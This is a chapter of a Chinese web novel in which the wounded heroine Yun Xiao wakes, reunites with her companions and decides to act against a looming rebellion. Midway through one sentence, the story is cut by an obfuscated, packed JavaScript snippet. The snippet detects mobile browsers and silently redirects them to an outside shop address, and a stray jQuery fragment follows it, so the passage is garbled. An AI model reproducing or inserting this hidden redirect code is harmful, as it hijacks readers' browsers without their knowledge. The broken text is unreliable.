55. 玉玺未必只有一个
    再次睁开眼,是一个陌生之地,但不陌生的是一直在大喊大叫的席然。

    "筱!筱,醒了,筱醒了!"

    "医师!医师!快点!快点!"

    "你别拿剑指着我啊?"

    "你来这么慢是有何居心,是不是不想让我媳妇好?"

    "哪有,医师住所离这很远,跑来也要段时间的。"

    "那你快点,我媳妇可醒了!"

    云筱心脏重回跳动,泛起酸甜,浅浅勾起嘴角。

    怎么能这么傻的可爱。

    "筱,你,还疼吗?"席然一边抹眼泪一边握着她的手道。

    云筱轻笑,嘴唇恢复些气色,靠在榻上,似病弱美人品樱桃般动人,让人怜惜,她温柔道,"哭什么?"

    "想哭。"云筱越说,他反倒哭的越厉害,到最后直接趴在她胳膊上嚎起来,"呜呜…哇哇…"

    云筱抽动嘴角,抚摸他的发顶,"席然,你……"

    "呦呵!这谁发这么大噪音呢?"一爽利女声入篷,云筱抬眼,就见着一高马尾,简利装束女子而入,面色红润可人,朝她一挑眉,"先生可还认识我?"

    "呵…"云筱稍稍震惊下,转而感到无比欣慰,垂眸而笑,"娘娘,不,淑将军。"

    淑环回望向她,眸间满是悲伤释怀后的平静,"先生,好久不见,我叫淑环。"

    "好久不见,我叫云筱。"

    她们现在不再处于不等位置,而是平和的彼此互相,之前的恩恩怨怨可以遗忘或原谅,成为了真正的可以交心的朋友。

    席然先不满起来,抬起头时,鼻涕眼泪糊了一脸,眼皮微肿,眼眶通红,抓着云筱的手在脖颈处蹭,"筱过分,眼中没有我。"

    "怎会?"云筱忙安抚他,“只是在这见着娘,淑将军有些稀奇。”

    “有何稀奇?”席然极不高兴,白了身后的淑环一眼,“本只是我来的,她偏要跟来。”

    “我哥不放心他,怕一时冲动再出了危险,让我来协助。”

    “不需要你。”

    “是吗?”淑环见不上他,平日里待人冷的跟冰窖里存放了多年硬的跟石头般的窝窝头块一样,只一看到云筱就跟狗见着小主,只会围着主人乱叫摇尾巴,眼中全然看不到别人。

    她自顾翻了个白眼,

    哼,妨碍到她跟先生聊天叙旧了,真是碍事的紧。

    “也不知道是谁让先生受了伤!”

    “你…”席然咬牙切齿,又反驳不得,的确是他顾前不顾后,让云筱受伤昏迷了这么长时间,犟不过淑环,他就跟着云筱耍赖,拽着她的手腕哭,“筱,都是我的错,别怪我…”

    大颗的泪珠落下去,云筱本就不怪他,现在更是心疼的紧了。

    “我哪有怪你,哎!”视线在篷内寻了一圈,“大公公呢?你们……”

    “我在这呢!”大太监从篷外露头进来,挠挠脑袋,略显尴尬,“刚刚看你们聊的挺欢,我就在外面守着没进来,先生放心,席将军把先生你带出去后,我很快就被救下来了。”

    "那就好。"云筱看着眼前这几人平平安安,虽然席然兴致不高,甚至很是难过,但她还是心满意足的很,起码都在,无一人而亡,她问道,"大当家他们呢?"

    "被抓了。"淑环抢答,"派人守在寨子里呢,他们皆未受过专业训练,而且女人小孩不少,很容易被制服。"

    大太监插话,"但是刘宁,就是我所言的旧友,现在在我那呢,他并非坏人,这些日子也很安分,至于大当家的腿我们这些日子也在医治。"

    "按我说就不应该管,通通杀掉。"席然噘嘴道。

    云筱揉揉脑袋,突然感到恍惚不已,蹙眉道,"我到底睡了多长时间?"

    "五日了。"席然说着又落下两滴泪来,"箭就插在你背后,血流了一片,我快恨死我自己了,你睡了那么多天,再不醒,我都快产生要陪你去的想法了"

    "这个我确实是能作证。"淑环紧绷的神色难得有丝破裂,露出些柔软的内里,"他这几日连饭都没吃几口,除了渴的不行会喝水,每天都守着你寸步不离,你再是不醒,他还真说不准呢。"

    大太监附和,"席将军重情重义啊!"

    云筱轻轻揉他耳朵,"谢谢你,席然。"

    "不要谢。"席然在她手腕上蹭掉眼泪,可怜巴巴,"要你原谅我,可以不喜欢我,但是先原谅好吗?"

    "哼…"云筱柔和的笑,托着他的下巴抬起,认真道,"不原谅,但喜欢,所以你要对我负责一辈子。"

    "筱。"席然瘪下嘴,好不容易憋回去的泪水又掉了出来,爬起来抱住她,钻进她怀里,"对不起,对不起…"

    "唉…"淑环搬了两把木凳,递给一把给大太监,"肉麻,也有一点点感动,但现在当务之急不是在此谈感情,先生,我们听大公公说了太子叛乱一事。"

    云筱迟缓的大脑彻底醒来,她睡了五日,山匪言叛乱一事将近,

    "最近京中可是安生?"

    淑环答,"兄长在裕城安抚裕城城主,矮人等着先生去联姻,一切都似安好,但这两件事只要有一件不成,亦或是太子一事为真,当真会天下大乱也。"

    "事不宜迟。"云筱一把推开席然"席然,你快些回京,这里能正式回京之人也只有你,回去告知陛下太子一事让他好做准备。"

    席然泪眼婆娑,嘟囔道,"为何要告诉他?"

    "什么?"

    大太监替道,"席将军应是不想。"

    云筱盯着三人回避的眼神,立即明白他们为意,"这可是我们的国,难道我们不该去守护?"

    "不是不去,而是没有必要。"淑环正色道,"可所谓我们的国先是抛弃了我们,我们又何必要因为这个国而舍弃自己的生命!先生,难道您的父亲不是被这个国家的君主所害死的吗?"

    云筱又将目光转向大太监,"淑将军所言无错,皇上的确不算……但百姓是无辜的,难道要因为皇家的争斗而将百姓的生命卷入其中?"

    大太监叹气道,"先生,我跟了陛下多年,怎说也算是比较了解他的人,百姓之命,陛下可以说是从未在乎过,他只在乎自己的权,自己的利,若真是在乎又为何要纵容太子将一心为国的云太师害死,又为何一定要攻打裕城?"

    席然去握她的手,"筱,我们现在都很好,离开了那,我们一起生活不好吗?"

    "可…"云筱垂下眼睫,父亲和蔼但正直的面容浮现于脑海,他们所说皆无错,是皇上先放弃的他们,他们又有什么理由去帮助皇上,为了所谓世人间的大义而舍弃自我性命?她的确也不是什么圣人,但她就是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253070|149275||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    做不到放任不管。

    云筱缓缓抽回手,"我想自己待会儿想一想。"

    "筱,你…"

    淑环拍拍他的肩膀,席然看了云筱一眼,跟着他们出了去。

    云筱躺倒闭上眼睛,竟意外入了梦。

    梦中父亲的身影格外清晰。

    "爹爹。"云筱扑过去抱住他的腰,"女儿好想你,您怎么就不要女儿了。"

    "爹爹怎会不要这么可爱的女儿。"云太师扶起她,抚掉她眼角的泪,"但是现在不是睡觉的时候,乖乖,你有更重要的事情去做。"

    "不要,我想要跟爹爹待在一起。"

    "那你放心的下在外的席然吗?"

    云筱眨眨眼,悄然红了耳朵,"爹爹,你,你怎知道他的?"

    "哈哈…"云太师手一挥,周遭瞬间化成小院模样,"未来的女婿,爹爹怎能不知?"

    "爹…"云筱娇俏一笑,靠着云太师坐到摇椅上,"爹爹,我喜欢这。"

    "爹爹也喜欢,不过现在京城受阻,乖乖要坐视不管吗?"

    云筱不兴道,"是皇上先不要我们的?"

    "那京城百姓呢?"云太师轻拍她的手,"我家女儿这般心善,这次不去心中会有愧疚吗?"

    "可…"

    "乖乖,没人要求我们必须要做什么事,天下这么大,难道我们全都能救,只求问心无愧,尽自己所能即可。"

    "可我想让所有百姓安乐健康,一生不受波折,这是爹爹的目标,也是我的目标,但我做不到,我只是小小的教书先生。"

    "谁说你做不到?"云筱抬起头,见着云太师从身后拿出一包裹,看样裹着的是一方正之物,"他们还在等着你。"

    "这是什么?什么等着?"云筱问道。

    "哼…这是乖乖一直想要想求的东西。"

    棉布掀开,里面赫然躺着的是一块晶透玉玺。

    云筱猛的坐起身,满头大汗,牵扯着伤口刺疼。

    日有所思,夜有所梦。

    梦中父亲那些话也是她想对自己说的话,世间皇上千万,何必要执着于一位,百姓要护,但皇上不必。

    父亲手中的玉玺并非只有一份。

    云筱咽下口水,披好外衣,支着榻边拐杖向外而出。

    阳光刺在面上,亮眼照人。

    灿烂之下,是席然在给棕马为草,他急忙迎上来扶住云筱,眼睛的肿还未消下去,"筱,我知道你放心不下,你最是心系百姓,我又怎能不去支持你,而自私于自己,我知道,就算是你答应我,日后也不会快乐,这马我喂饱了就出发。"

    "是啊!我也是许久未战了,英雄谁不想做,身子骨都松散的很了。"淑环转着胳膊,背着光,身后是春晓弯起眼睛,"先生,您未骗我,我们真是再见了。"

    大太监推着刘叔过来冒个头,"我们两个医术相当,虽是年纪大了,但治病救人绝对没有问题,也算是名留青史,先生您尽管去做就行!"

    刘叔死死拽着大太监,"我也是,你就尽管去做。"

    云筱看着大家,含泪应好,"那既然如此,大家可听从我所提应对措施可好?"

    "好!我们这就你聪明!"

    "好!"

    云筱同席然道,"席然,你再带上一人里外接应。"